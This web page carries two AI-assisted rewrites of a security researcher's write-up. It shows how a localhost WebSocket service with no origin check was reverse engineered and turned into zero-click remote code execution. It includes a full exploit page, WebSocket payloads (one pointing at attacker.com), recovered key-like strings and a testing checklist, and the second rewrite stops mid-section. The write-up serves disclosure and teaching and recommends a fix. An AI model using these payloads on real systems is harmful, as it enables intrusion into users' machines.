Skip to content
RCE Write-up Advanced

My First RCE by Reverse Engineering an EXE File With the Help of AI

A Windows service installed by a desktop application runs a WebSocket server on localhost without checking the Origin header, allowing any website to connect and send commands. By sending a crafted command, an attacker can execute arbitrary programs on the victim's machine.

Yashar Shahinzadeh Follow

Published on blog.voorivex.team

I've been hacking for 20 years. I know many attack vectors, patterns, and tricks, but honestly speaking, my mind does not know binaries.

Yashar Shahinzadeh, on blog.voorivex.team

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

This is an account of a penetration testing project against a web application that looked outdated at first glance. The application sat behind an encryption layer on top of SSL: JavaScript encrypted the entire query string on the client, and the server decrypted and parsed it. The researcher expected quick wins but found the application robust to the usual tampering.

The path that eventually led to remote code execution ran through a JavaScript file, a downloadable Windows executable, reverse engineering of that binary, and a localhost WebSocket service with no origin validation. The product involved is referred to throughout as REDACTED, a Windows service. The binary is a .NET assembly that installs as a Windows service and starts a WebSocket server on ws://[redacted]:3100.

The author is explicit that reverse engineering binaries is not their strong area; their closest prior experience is Android dynamic analysis. The binary work in this project was done with the help of AI, broken into small, guided prompts rather than one large request.

Setup

The engagement was a penetration testing project on a web application with the client-side encryption layer described above. No accounts, roles or product versions beyond those quoted below are given.

Tools and techniques used along the way:

  • Manual tampering with the encrypted query string (SQLi payloads, extra ampersands to break the parser).
  • JavaScript file review and fuzzing for additional JavaScript files.
  • Directory and parameter fuzzing against an .htm endpoint.
  • PowerShell reflection to load the .NET assembly and call its own methods.
  • AI assistance for strings extraction, IL disassembly, crypto analysis and WebSocket method enumeration.

The precondition for the final attack is that the victim has REDACTED installed.

Finding it

The encrypted query string looked like a promising pattern, but every attempt failed. The researcher modified the encrypted string, injected values for SQLi and added extra ampersands to trick the parser into an error or unauthorised access. All tests failed and the application appeared robust.

The pivot was to JavaScript files. Digging through them surfaced this function:

JavaScript
function downSetup(type) {
    $.download('/lm/downSetup.htm', 'down=' + type);
}

A request to /lm/downSetup.htm returned 404. That alone would suggest a missing file, but the application's behaviour raised suspicion: the login endpoint also used an .htm extension and returned 404 without the correct referrer. The inference was that .htm extensions map to dynamic server-side files.

Fuzzing the dl parameter (also tried with ../, ....//, %2e%2e/ and similar) produced this result set:

Text
help     [Status: 200, Size: 131, ...
backup   [Status: 200, Size: 131, ...
app      [Status: 200, Size: 131, ...
service  [Status: 200, Size: 1151264, ...
ie       [Status: 200, Size: 131, ...
win      [Status: 200, Size: 131, ...

The service value returned a much larger body and triggered a download dialog, delivering an EXE file. That binary is the subject of the rest of the work.

Exploitation

Step 1: Identify the binary

The first prompt asked the AI to analyse the binary: language, framework, dependencies and signing info. The result: the EXE is a .NET assembly, confirmed by a CLR header and .NET metadata streams (#~, #Strings, #US, #GUID, #Blob). It references Newtonsoft.Json and WebSocketSharp, and contains Costura-embedded DLLs, meaning dependencies are packed inside the binary.

Step 2: Dump hardcoded strings

The next prompt asked for all hardcoded strings, grouped by category: URLs, file paths, registry paths, crypto-looking strings, command/protocol keywords and error messages. The AI produced a PowerShell script that loads the assembly and resolves user strings from the module:

PowerShell
$asm = [System.Reflection.Assembly]::LoadFile("redacted.exe")
$module = $asm.GetModules()[0]
$offset = 0
while ($offset -lt 0x2000) {
    try {
        $token = 0x70000000 -bor $offset
        $str = $module.ResolveString($token)
        if ($str -and $str.Length -gt 2) {
            Write-Output "US[0x$($offset.ToString('x'))]: $str"
        }
    } catch {}
    $offset += 2
}

Most of the dump was unremarkable (URLs, file paths, error messages). A few entries stood out:

Text
US[0x0d54]: ehdgoanfrhkq1234
US[0x0d76]: OfficeHDWebHard!
US[0x1060]: SOFTWARE\JiranSecurity\OfficeHARD REDService
US[0x10c0]: SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\
US[0x185f]: explorer.exe "{0}"

The AI's analysis of these strings:

The registry paths and explorer.exe format string are self-explanatory. The first two strings are not. They stand out because both are exactly 16 bytes, sit at adjacent heap offsets, and don't look like natural language or identifiers. They smell like cryptographic material, but at this stage we don't know what they are.

Step 3: Recover the encryption scheme

Further prompts asked the AI to disassemble the binary and find the encryption class: which string is the key, which is the IV, what mode (ECB/CBC), what padding, and how key derivation works. It also asked the AI to download all .ini.enc files from the server using the URL pattern from the string dump and application names, and to decrypt them, trying multiple methods until plaintext was obtained. A third prompt asked for a full URL inventory of every unauthenticated resource on the server (installers, configs, update binaries) in table form with URL, size, auth required and how it was discovered.

Standard crypto libraries (Python cryptography, OpenSSL) failed to produce correct output because the binary uses a custom implementation with a non-standard key schedule. The workaround was to skip reimplementation and invoke the binary's own decryption method via PowerShell reflection, similar to hooking a method in Android classes. One decrypted file looked like this:

Text
[REDSERVICE_UPDATE]
FILENAME=red_service_update.exe
PATH=control/app/redservice
VERSION=[redacted]
HASH=[redacted]

The update workflow is: the application calls update endpoints, retrieves encrypted content, decrypts it, checks the software version, and if an update is needed downloads the executable and updates itself. The reverse engineering exposed the update infrastructure and encryption, but none of that is directly exploitable from a browser.

Step 4: Map the client-server protocol

The next prompt asked the AI to determine how the application connects to its server, mapping all endpoints and parameters if HTTP, or following the same pattern for another protocol, and not stopping until the map was complete. The outcome was a WebSocket server.

Step 5: Confirm the WebSocket service and the missing origin check

The binary installs as a Windows service and starts a WebSocket server on ws://[redacted]:3100. The WebSocketBehavior class does not check the Origin header of incoming connections, so any webpage from any domain can connect and send commands. This is Cross-Site WebSocket Hijacking (CSWSH).

The researcher then checked whether the site itself talks to the service over WebSocket, and found this in the JavaScript files:

JavaScript
function checkSession() {
    var ws = new WebSocket('ws://[redacted]:XXXX');

    ws.onopen = function () {
        $.post('/api/v1/session/validate', {
            "k": tokenKey
        }, function (res) {
            if (res.status === "OK") {
                let payload = {
                    'action': 'EXECUTE',
                    'data': "/AUTH:$" + decryptData(res.payload, tokenKey)
                };

                ws.send(JSON.stringify(payload));
            }
        }, 'json');
    };
}

Because the service does not check the origin of the initiator, any site can force a user to establish a WebSocket connection and control it. The researcher tested this from their own website with:

JavaScript
var ws = new WebSocket('ws://[redacted]:3100');
ws.onopen = function() {
    ws.send(JSON.stringify({ GET: 'VERSION' }));
};
ws.onmessage = function(e) {
    console.log(e.data);
    ws.close();
};

The response confirmed the hijack:

JSON
{
    "VERSION": "[redacted]"
}

Step 6: Look for a gadget

Among the WebSocket methods, one stood out:

JavaScript
var ws = new WebSocket('ws://[redacted]:3100');
ws.onopen = function() {
    ws.send(JSON.stringify({RUN: 'AUTH', PARAM: '/SSO:$token'}));
};
ws.onmessage = function(e) {
    console.log(e.data);
    ws.close();
};

The application receives $token and needs a network connection to its server to validate it. The AI was asked how this works after the WebSocket message is sent. Its finding: the binary takes a PARAM value and passes it to a launched process, but with no shell and no injection. StartProcessAsCurrentUser calls CreateProcessAsUser from advapi32.dll directly:

Text
// StartProcessAsCurrentUser - IL disassembly
ldstr    "advapi32.dll"
ldstr    "CreateProcessAsUser"
// Sets up STARTUPINFO and PROCESS_INFORMATION structs
// Calls CreateProcessAsUser with the formatted command string

Because CreateProcessAsUser is not cmd.exe /c, shell metacharacters (&&, ||, |, ;, $()) are treated as literal characters:

To see how input was treated, the researcher had a simple EXE written that saves its arguments to a file, then replaced the legitimate EXE with it in the registry. The result:

Text
Command line: "C:\...\fakered.exe" /SSO:123 && calc
Args: /SSO:123 && calc

Step 7: Revisit a method that returned FAIL

The researcher went back to a method that had previously returned FAIL:

JavaScript
var ws = new WebSocket('ws://[redacted]:3100');
ws.onopen = function() {
    ws.send(JSON.stringify({RUN: 'APP', URL: 'https://attacker.com'}));
};
ws.onmessage = function(e) {
    console.log(e.data);
    ws.close();
};

The initial assumption was a whitelist. The AI then supplied additional WebSocket methods that had not been shown before. Asked why, it replied:

You're right. I gave you {RUN: 'APP', URL: '...'} which always returns FAIL. I should have tested all the app name variants from the binary strings: REDACTED1, REDACTED2, REDACTED3, REDACTED4. When the app isn't installed, the code falls through to explorer.exe "{URL}" which is the actual RCE vector.

One of the additional methods was:

JavaScript
var ws = new WebSocket('ws://[redacted]:3100');
ws.onopen = function() {
    ws.send(JSON.stringify({RUN: 'DRIVE', URL: 'https://redacted.com'}));
};
ws.onmessage = function(e) {
    console.log(e.data);
    ws.close();
};

Running it opened the browser at that URL. The final payload was:

Text
{RUN: 'DRIVE', URL: 'calc.exe'}

Step 8: Full attack page

The exploitation code is a connection to ws://[redacted]:3100 and a method sent to it:

HTML
<html>
<head>
    <title>RCE Demo</title>
</head>
<body>
    <h1>RCE Demo</h1>
    <script>
        function rce(url) {
            var ws = new WebSocket('ws://[redacted]:3100');
            ws.onopen = function() {
                ws.send(JSON.stringify({RUN: 'DRIVE', URL: url}));
            };
            ws.onmessage = function(e) {
                document.getElementById('log').innerHTML += url + ' -> ' + JSON.parse(e.data).RESULT + '<br>';
                ws.close();
            };
            ws.onerror = function() {
                document.getElementById('log').innerHTML += 'Service not running<br>';
            };
        }
        rce('calc.exe');
    </script>
    <div id="log" style="font-family:monospace;margin-top:20px;"></div>
</body>
</html>

The attack flow:

  1. Victim has REDACTED installed.
  2. Victim visits any webpage controlled by the attacker.
  3. JavaScript connects to ws://[redacted]:3100 (no origin check, no authentication).
  4. Sends {RUN: 'DRIVE', URL: 'calc.exe'}.
  5. REDACTED checks if the app is installed. It is not.
  6. Falls through to explorer.exe "calc.exe".

Zero clicks, zero user interaction. The WebSocket connection and command execution happen automatically when the page loads.

Root cause

The WebSocket server on ws://[redacted]:3100 has no origin validation. The WebSocketBehavior class does not check the Origin header, so any webpage can connect and send commands. The connection is not protected by an origin check.

The gadget is the DRIVE method. When the named application is not installed, the code falls through to the explorer.exe "{0}" format string found in the string dump, and the URL value is passed to it. Because the process is launched via CreateProcessAsUser rather than a shell, shell metacharacters are not interpreted, which is why the AUTH/PARAM route with && calc did not work. The explorer.exe fall-through is what turns the hijacked WebSocket into code execution.

The report does not describe any server-side or browser-side defence that would have stopped the attack. The service listens only on [redacted], and the API behind it does not check the origin of callers.

Impact

An attacker who can get a victim with REDACTED installed to visit a page they control can execute commands on the victim's machine with no user interaction. The report demonstrates this with calc.exe and with opening an arbitrary URL in the browser. The conditions are that the service is running and the victim visits the attacker's page.

The report does not give a CVSS score, severity rating or bounty amount.

Fix

The report recommends, for anyone shipping a service of this shape:

  • Validate the Origin header, or
  • Require a per-instance token in the URL, or
  • Do both.

Variants to test

  • Localhost WebSocket services with no origin check. Connect from a page on a different origin and send a benign method such as a version query. A positive result is a valid response from the service, as with the GET: 'VERSION' probe above.
  • Methods that fall through to a process launch. Enumerate methods and their parameters from the binary's strings and IL, and look for format strings such as explorer.exe "{0}". A positive result is a method whose parameter reaches a launched process when a named application is not installed.
  • Shell metacharacter assumptions. If a parameter reaches CreateProcessAsUser directly, &&, ||, |, ; and $() will be literal. Test with a replacement binary that logs its arguments, as the researcher did, before concluding a parameter is injectable.
  • Methods that return FAIL. Re-test with the application-name variants found in the binary strings (REDACTED1 through REDACTED4 in this case). A positive result is a different response when a variant is used, revealing a fall-through path.
  • Encrypted configuration files. Look for .ini.enc files and a custom key schedule. If standard libraries fail, invoke the binary's own decryption method via reflection rather than reimplementing it. A positive result is readable plaintext such as an update manifest.
  • .htm endpoints that return 404 without a referrer. Treat them as dynamic and fuzz their parameters. A positive result is a parameter value that returns a much larger body or triggers a download, as service did here.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 31 min read.

What happened, in plain words

A security researcher was hired to test a company's website. The site looked old and easy to break, but it turned out to be well defended. Instead of giving up, the researcher followed a trail: a small piece of JavaScript on the site pointed to a downloadable Windows program (an .exe file). That program is installed by ordinary users of the company's service. By taking the program apart (a process called reverse engineering), the researcher found that it quietly runs a small server on the user's own computer, listening on a local address. That server accepts connections from any web page, with no check of the origin. The researcher worked out a command that makes the program launch other programs, and built a web page that, when a victim visits it, runs a command on the victim's computer without any click. That is remote code execution (RCE): running your own code on someone else's machine.

The researcher is honest that reverse engineering binaries is not their strong point. They used an AI assistant, in small guided steps, to help read the program. The researcher says AI did not find the bug; they did, by knowing what to look for. The AI made each step faster.

This article walks through the whole story from zero. You only need to know how to use a browser and a computer. Every technical term is explained the first time it appears, and there is a glossary at the end.

The starting point: a website that hid its traffic

The project was a penetration test: a company pays a security expert to try to break into its own systems, legally, so it can fix the problems before criminals find them. The target was a web application that looked outdated.

An application here means a website with a program behind it. A web application is what you interact with in your browser: pages, forms, buttons. Behind the scenes, the browser sends requests to a server, a computer that stores the site and answers those requests.

The site had an unusual defence. On top of the normal encrypted connection between browser and server (the padlock in your address bar, called SSL/TLS), it added a second layer of encryption written in JavaScript. JavaScript is the programming language that runs inside web pages; it is what makes pages interactive. This second layer encrypted the whole query string before it left the browser. The query string is the part of a web address after the ?, where sites often pass information, for example ?name=alice. The server then decrypted it and read it.

Why does this matter for an attacker? Because most automated security tools (called scanners) send their test requests in plain text. If the site expects an encrypted blob, the scanner's requests look like garbage and the scanner learns nothing. The researcher calls these "vague values": data that is hard to read and therefore a good place to poke by hand.

So the researcher tried to tamper with the encrypted string by hand:

  • Injecting values for SQL injection (SQLi). SQL is the language databases use to store and fetch data. SQL injection means sneaking database commands into a place where the site expects ordinary input, so the database runs your commands instead. A classic example is putting ' OR 1=1 into a login field to try to bypass the password check.
  • Adding extra ampersands (&). In a query string, & separates one piece of data from the next, like ?a=1&b=2. Adding extra ones can confuse a careless parser (the code that splits the string into pieces) and make it error out or misread the data.

Every attempt failed. The application held up. This is worth noting: a well-built site can resist the obvious attacks, and that is exactly when you need to look somewhere else.

The charm of JavaScript files

When the front door is locked, look at the windows. The researcher's next move was to read the site's JavaScript files. These are the files the browser downloads to make the page work. They often contain hints about hidden features, internal addresses and how the site talks to its server. Developers sometimes leave comments, old code or debug helpers in them.

The researcher also mentions fuzzing for more JavaScript files. Fuzzing means trying many variations automatically: guessing file names, paths and values, and watching for responses that stand out. They also mention looking through web archives (services that keep old copies of websites) and search engines.

Digging through the JavaScript turned up this function:

JavaScript
function downSetup(type) {
    $.download('/lm/downSetup.htm', 'down=' + type);
}

Line by line:

  • function downSetup(type) { declares a function named downSetup that takes one input, called type. A function is a named block of code you can call whenever you need it.
  • $.download('/lm/downSetup.htm', 'down=' + type); calls a helper called $.download. The $ is a common shorthand in JavaScript libraries such as jQuery. It asks the browser to download something from the path /lm/downSetup.htm, and it passes along a value built from the word down=, followed by whatever type was.
  • The closing } ends the function.

In plain words: the page has a download button or link that fetches a file from /lm/downSetup.htm and tells the server which kind of file it wants via a value called down.

The researcher sent a request to /lm/downSetup.htm and got a 404 back. A 404 is the standard web response for "not found". At first that looks like a dead end: the file simply is not there.

But the site's behaviour raised a suspicion. The login endpoint (the address the browser sends your username and password to) also ended in .htm and also returned 404 when the request did not include the right referrer. The referrer is a small piece of information the browser sends with a request saying which page you came from. If a page only answers when the referrer is right, it is not a plain file sitting on disk; it is a program deciding what to do. So .htm endings on this site were probably dynamic: generated by code on the server, not stored as files.

That changed the plan. The down value was probably being used by the server to decide which file to send. So the researcher fuzzed that value, trying many possible words. They also tried tricks like ../, ....// and %2e%2e/. These are attempts at path traversal: .. means "go up one folder" in a file path, and %2e is the URL-encoded form of a dot. The idea is to escape the intended folder and reach files elsewhere on the server.

The fuzzing produced this list:

Text
help     [Status: 200, Size: 131, ...
backup   [Status: 200, Size: 131, ...
app      [Status: 200, Size: 131, ...
service  [Status: 200, Size: 1151264, ...
ie       [Status: 200, Size: 131, ...
win      [Status: 200, Size: 131, ...

How to read it:

  • Each line is one guess: the word tried, then the HTTP status (200 means "OK, here is your answer"), then the size of the response in bytes.
  • help, backup, app, ie and win all returned 200 but only 131 bytes. That is tiny, probably a short error message or an empty placeholder.
  • service returned 200 with 1,151,264 bytes, over a megabyte. That is a real file.

And it triggered a download dialog in the browser. The file was an .exe, a Windows program. That is where the main story begins.

Taking the program apart

Before AI assistants, the researcher says they would have run the program and watched the network traffic it generated, hoping to spot an address they could attack. That is dynamic analysis: running something and observing what it does. It works, but you only see what the program does on that run, and you can miss things.

The other approach is static analysis: reading the program without running it. For a compiled program, that means reverse engineering: turning the machine code back into something a human can read and understand. The researcher's closest prior experience was Android dynamic analysis, which is analysing apps on Android phones while they run. Binaries were not their comfort zone.

So they used an AI assistant. The key lesson they share is about how to use it: not one big prompt like "go hack it", which produces vague, useless answers, but many small, specific prompts, each with a clear goal. A prompt is the instruction you type to an AI. Small prompts keep the AI focused and let you check each answer before moving on.

Step 1: What kind of program is this?

The first prompt asked the AI to analyse the binary and report its language, framework, dependencies and signing info. In plain terms:

  • Language and framework: what it was written in. A framework is a collection of ready-made code a developer builds on.
  • Dependencies: other pieces of software the program needs in order to work.
  • Signing info: a digital signature that shows who published the program and that it has not been altered.

The answer: the file is a .NET assembly. .NET is Microsoft's software platform; programs built on it are called assemblies. The AI confirmed this from a CLR header (a marker at the start of the file that says "this is .NET code") and .NET metadata streams with names like #~, #Strings, #US, #GUID and #Blob. Metadata is the extra information a .NET program carries about itself: its types, its text, its identifiers. The #US stream in particular holds user strings, the literal text written in the source code.

The assembly references Newtonsoft.Json (a popular library for reading and writing JSON, a simple text format for structured data) and WebSocketSharp (a library for WebSockets, explained later). It also contains Costura-embedded DLLs. A DLL is a library file that programs load to get extra features. Costura is a tool that packs those libraries inside the main program file, so the program ships as one file instead of many.

Why does this matter? Because knowing it is .NET tells you how to read it, and knowing it uses a WebSocket library is a strong hint that it talks over WebSockets.

Step 2: Pull out the text hidden inside

Programs contain a lot of literal text: addresses, file paths, error messages, sometimes secrets. The next prompt asked the AI to dump all hardcoded strings, grouped by category: URLs, file paths, registry paths, crypto-looking strings, command and protocol keywords, and error messages.

A registry path refers to the Windows Registry, a database inside Windows where programs store settings. A URL is a web address. Crypto-looking strings are pieces of text that look like they belong to encryption: keys, passwords, random-looking blobs.

The AI produced a PowerShell script. PowerShell is a scripting tool built into Windows that can automate tasks and load .NET code. Here it is:

PowerShell
$asm = [System.Reflection.Assembly]::LoadFile("redacted.exe")
$module = $asm.GetModules()[0]
$offset = 0
while ($offset -lt 0x2000) {
    try {
        $token = 0x70000000 -bor $offset
        $str = $module.ResolveString($token)
        if ($str -and $str.Length -gt 2) {
            Write-Output "US[0x$($offset.ToString('x'))]: $str"
        }
    } catch {}
    $offset += 2
}

Line by line:

  • $asm = [System.Reflection.Assembly]::LoadFile("redacted.exe") loads the program file into memory as a .NET assembly. Reflection is a .NET feature that lets a program inspect and use another program's contents at runtime. Loading it does not run it; it just makes its insides readable.
  • $module = $asm.GetModules()[0] grabs the first module of the assembly. A module is a container of code and data inside the assembly.
  • $offset = 0 starts a counter at zero.
  • while ($offset -lt 0x2000) { loops while the counter is below 0x2000. The 0x prefix means the number is written in hexadecimal, base 16, a common way to write memory addresses. 0x2000 is 8192 in ordinary numbers.
  • try { starts a block where errors are caught rather than stopping the script.
  • $token = 0x70000000 -bor $offset builds a special number called a token. In .NET, strings are stored in a table and each one has a token that points to it. -bor is bitwise OR, a way of combining numbers at the binary level. The 0x70000000 part marks the token as "this is a string".
  • $str = $module.ResolveString($token) asks .NET to look up the string that the token points to.
  • if ($str -and $str.Length -gt 2) { keeps only strings that exist and are longer than two characters, to skip noise.
  • Write-Output "US[0x$($offset.ToString('x'))]: $str" prints the offset in hex and the string itself. US stands for user string.
  • } catch {} silently ignores any error, for example when a token points to nothing.
  • $offset += 2 moves the counter forward by two, because string tokens are spaced two bytes apart.

In plain words: the script walks through the program's string table and prints every piece of text it finds, with its address.

Most of the output was ordinary: URLs, file paths, error messages. But a few entries stood out:

Text
US[0x0d54]: ehdgoanfrhkq1234
US[0x0d76]: OfficeHDWebHard!
US[0x1060]: SOFTWARE\JiranSecurity\OfficeHARD REDService
US[0x10c0]: SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\
US[0x185f]: explorer.exe "{0}"

What each one is:

  • ehdgoanfrhkq1234 and OfficeHDWebHard! look like random text. They are not words, not names, not file paths. They are the kind of thing people use as passwords or encryption keys.
  • SOFTWARE\JiranSecurity\OfficeHARD REDService is a Windows Registry path. It tells you the program stores its settings under a folder named after its vendor and product.
  • SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ is another registry path. Windows uses this one to record where installed programs live, so other programs can find them.
  • explorer.exe "{0}" is a format string. explorer.exe is the Windows program that draws your desktop and opens files and web addresses. {0} is a placeholder that gets replaced with a value at runtime. So somewhere, the program builds a command line that says "run explorer.exe with this value". That is a very interesting line for an attacker, because if you control the value, you control what explorer opens.

The AI's own comment on these strings was:

The registry paths and explorer.exe format string are self-explanatory. The first two strings are not. They stand out because both are exactly 16 bytes, sit at adjacent heap offsets, and don't look like natural language or identifiers. They smell like cryptographic material, but at this stage we don't know what they are.

In plain words: two strings of exactly 16 characters, sitting next to each other in memory, that look like random noise. Sixteen bytes is a very common size for an encryption key or an IV (initialisation vector, a starting value used alongside a key). That is a strong hint that the program encrypts something.

Step 3: Work out the encryption

The next prompts asked the AI to disassemble the binary and find the encryption class. Disassembly is turning machine code back into a list of low-level instructions a human can read. A class is a building block in object-oriented programming: a bundle of code and data that does one job, here the encryption job.

The questions asked were specific:

  • Which string is the key? The key is the secret value that locks and unlocks the encryption.
  • Which is the IV? The initialisation vector is a starting value that makes each encryption different even with the same key.
  • What mode? Modes are standard ways of applying encryption to data longer than one block. ECB encrypts each block independently, which is weak because identical blocks produce identical output. CBC chains blocks together so each one depends on the previous, which hides patterns.
  • What padding? Encryption works on fixed-size blocks. If your data is not an exact multiple of the block size, padding fills the gap. The padding scheme must be known to decrypt correctly.
  • How does key derivation work? Key derivation is the process of turning a password or passphrase into a proper key of the right length.

A second prompt asked the AI to download all .ini.enc files from the server, using the URL pattern found in the string dump and the application names, and to decrypt them, trying multiple methods and not giving up until plaintext came out. .ini files are simple settings files; .enc suggests they are encrypted. Plaintext means the readable, decrypted content.

A third prompt asked for a full URL inventory: every resource on the server that could be fetched without logging in, such as installers, configuration files and update binaries, in a table with URL, size, whether login was required, and how it was discovered. An installer is the program that installs software. A binary is a compiled program file.

Here the AI hit a wall. Standard encryption libraries, Python's cryptography and OpenSSL, produced wrong output. OpenSSL is a widely used toolkit for encryption. The reason: the program uses a custom implementation with a non-standard key schedule. A key schedule is the recipe that turns the key into the series of values used during encryption. If the recipe is not the standard one, standard tools cannot decrypt the data.

The solution was clever: stop trying to reimplement the encryption, and instead ask the program itself to decrypt. The AI wrote a PowerShell script that loads the assembly and calls its own decryption method through reflection. The researcher compares this to hooking a method in Android: intercepting a function and making it do what you want. Here it is less about intercepting and more about borrowing: you call the program's own code and let it do the work.

One decrypted file looked like this:

Text
[REDSERVICE_UPDATE]
FILENAME=red_service_update.exe
PATH=control/app/redservice
VERSION=[redacted]
HASH=[redacted]

What it says:

  • [REDSERVICE_UPDATE] is a section header, a label grouping the settings below.
  • FILENAME=red_service_update.exe is the name of the update program.
  • PATH=control/app/redservice is where it lives on the server.
  • VERSION=[redacted] is the version number.
  • HASH=... is a hash: a fingerprint of a file, used to check that the file is the right one and has not been tampered with.

So the update workflow is: the program asks the server for updates, gets encrypted content, decrypts it, checks the version, and if a newer version exists, downloads the new program and updates itself. This exposed the update infrastructure and the encryption, but none of it can be triggered from a browser. It was useful knowledge, not yet an attack.

Step 4: How does the program talk to its server?

The next prompt asked the AI to work out how the application connects to its server. If it uses HTTP (the normal web protocol), map every endpoint and its parameters. If it uses another protocol, do the same for that. Do not stop until the map is complete.

An endpoint is a specific address on a server that does a specific job, like a counter in a shop. A parameter is a value you send along with a request, like the amount of money you want to withdraw.

The answer was a surprise: the program does not just use HTTP. It runs a WebSocket server.

WebSockets, and why they matter here

A WebSocket is a way for a browser and a server to keep a two-way conversation open. Normal web requests are one-shot: the browser asks, the server answers, the connection closes. A WebSocket stays open, so either side can send messages at any time. Chat apps, live scores and collaborative editors use them.

A WebSocket address starts with ws:// instead of http://. The [redacted] part is the loopback address: it always means "this same computer". So ws://[redacted]:3100 means "a WebSocket server running on this machine, on port 3100". A port is like a numbered door on a computer; different services listen on different doors.

Here is the crucial detail. When a web page opens a WebSocket to a server, the browser sends an Origin header. The Origin header says which website the page came from, for example https://example.com. A well-behaved server checks it and refuses connections from sites it does not trust. This program does not check it at all. The class responsible, WebSocketBehavior, never looks at the Origin header.

The consequence: any web page, from any domain, can connect to ws://[redacted]:3100 and send commands. This class of bug is called Cross-Site WebSocket Hijacking (CSWSH). The name means: another site (cross-site) takes over (hijacks) a WebSocket connection. It is the WebSocket cousin of Cross-Site Request Forgery (CSRF), where another site makes your browser send a request you did not intend.

Why is a localhost server dangerous? Because "it only listens on [redacted]" feels safe: outsiders cannot reach it over the network. But your browser can reach it, and your browser will happily load a page from any site you visit. If that page can talk to your local service, the attacker is effectively inside your computer.

Does the site itself use this WebSocket?

Before going further, the researcher checked whether the website's own JavaScript talks to the service. It does:

JavaScript
function checkSession() {
    var ws = new WebSocket('ws://[redacted]:XXXX');

    ws.onopen = function () {
        $.post('/api/v1/session/validate', {
            "k": tokenKey
        }, function (res) {
            if (res.status === "OK") {
                let payload = {
                    'action': 'EXECUTE',
                    'data': "/AUTH:$" + decryptData(res.payload, tokenKey)
                };

                ws.send(JSON.stringify(payload));
            }
        }, 'json');
    };
}

Line by line:

  • function checkSession() { declares a function called checkSession, presumably run to check whether the user is logged in.
  • var ws = new WebSocket('ws://[redacted]:XXXX'); opens a WebSocket to the local service. XXXX stands in for the port number, which the report does not give here.
  • ws.onopen = function () { sets what happens when the connection opens.
  • $.post('/api/v1/session/validate', { sends a POST request to the site's own server. A POST is a request that sends data, as opposed to a GET which just asks for a page. An API (application programming interface) is a set of addresses a program offers so other programs can ask it to do things. Here /api/v1/session/validate is the address that checks a session.
  • "k": tokenKey sends a value called k, which is a token key. A token is a short piece of data that proves who you are, like a wristband at an event. The tokenKey is used to decrypt the server's answer.
  • }, function (res) { is the callback: what to do when the server answers. res is the response.
  • if (res.status === "OK") { checks that the server said the session is valid.
  • let payload = { builds the message to send over the WebSocket.
  • 'action': 'EXECUTE', says the action is to execute something.
  • 'data': "/AUTH:$" + decryptData(res.payload, tokenKey) builds the data: the text /AUTH:$ followed by the decrypted payload from the server. decryptData is a function that decrypts using the token key.
  • ws.send(JSON.stringify(payload)); sends the message. JSON.stringify turns a JavaScript object into a JSON string, because WebSocket messages are text.
  • The closing braces end the blocks.

In plain words: the site's own page opens a WebSocket to the local service and sends it an authentication command. So the service is a real, used part of the product, not a leftover.

Proving the hijack

Because the service does not check the origin, any site can force a user to open a WebSocket and control it. The researcher tested this from their own website with:

JavaScript
var ws = new WebSocket('ws://[redacted]:3100');
ws.onopen = function() {
    ws.send(JSON.stringify({ GET: 'VERSION' }));
};
ws.onmessage = function(e) {
    console.log(e.data);
    ws.close();
};

Line by line:

  • var ws = new WebSocket('ws://[redacted]:3100'); opens a connection to the local service.
  • ws.onopen = function() { runs when the connection opens.
  • ws.send(JSON.stringify({ GET: 'VERSION' })); sends a message asking for the version. JSON.stringify turns { GET: 'VERSION' } into the text {"GET":"VERSION"}.
  • }; ends the open handler.
  • ws.onmessage = function(e) { runs when a message comes back. e is the event, and e.data is the message content.
  • console.log(e.data); prints it to the browser's developer console, a panel where you can see messages and errors.
  • ws.close(); closes the connection.
  • }; ends the message handler.

The answer came back:

JSON
{
    "VERSION": "[redacted]"
}

That is the version number of the service. The hijack is confirmed: a page on a completely different site got a real answer from the local service. But a version number is not yet an attack. The researcher needed a gadget: a feature already present in the program that can be abused to do something harmful. Think of it as finding a lever in the machine that, when pulled, does more than intended.

The RCE gadget

Among the WebSocket methods, one stood out:

JavaScript
var ws = new WebSocket('ws://[redacted]:3100');
ws.onopen = function() {
    ws.send(JSON.stringify({RUN: 'AUTH', PARAM: '/SSO:$token'}));
};
ws.onmessage = function(e) {
    console.log(e.data);
    ws.close();
};

Line by line:

  • Open a WebSocket to the local service.
  • When it opens, send a message with RUN: 'AUTH' and PARAM: '/SSO:$token'. RUN names the action, PARAM carries its input. $token is a placeholder for a token value.
  • When a message comes back, print it and close.

The application receives $token and needs a network connection to its server to validate it. So the researcher asked the AI how this works after the WebSocket message is sent. The finding:

the binary takes a PARAM value and passes it to a launched process

The binary takes the PARAM value and passes it to a launched process. A process is a running program. But there is no shell and no injection. A shell is the command interpreter, like cmd.exe on Windows, that understands things like && (run this, then that) and | (pipe output into another program). Command injection is when you sneak extra commands into a value that gets passed to a shell, so the shell runs them too.

Here, the program does not use a shell. StartProcessAsCurrentUser calls CreateProcessAsUser from advapi32.dll directly. advapi32.dll is a core Windows library. CreateProcessAsUser is a Windows function that starts a program as a given user. It takes the program name and its arguments as separate values; it does not interpret shell syntax.

Text
// StartProcessAsCurrentUser - IL disassembly
ldstr    "advapi32.dll"
ldstr    "CreateProcessAsUser"
// Sets up STARTUPINFO and PROCESS_INFORMATION structs
// Calls CreateProcessAsUser with the formatted command string

What this shows:

  • // lines are comments, notes for the reader.
  • ldstr is a .NET instruction meaning "load string". The first one loads the text advapi32.dll, the second loads CreateProcessAsUser. So the program is looking up that Windows function by name.
  • The comments say it prepares two structures, STARTUPINFO and PROCESS_INFORMATION. A structure is a bundle of related values. STARTUPINFO tells Windows how to start the program (window settings and so on); PROCESS_INFORMATION receives details about the started process.
  • Then it calls CreateProcessAsUser with the command string it built.

Because CreateProcessAsUser is not cmd.exe /c, shell metacharacters (&&, ||, |, ;, $()) are treated as literal characters. In other words, they are just text, not instructions:

What this means:

  • The message asks to run AUTH with the parameter /SSO:123 && calc.
  • The program passes the whole thing as one argument. The && is not treated as "and then".
  • calc is the Windows calculator. It does not start. The attempt to inject a command fails.

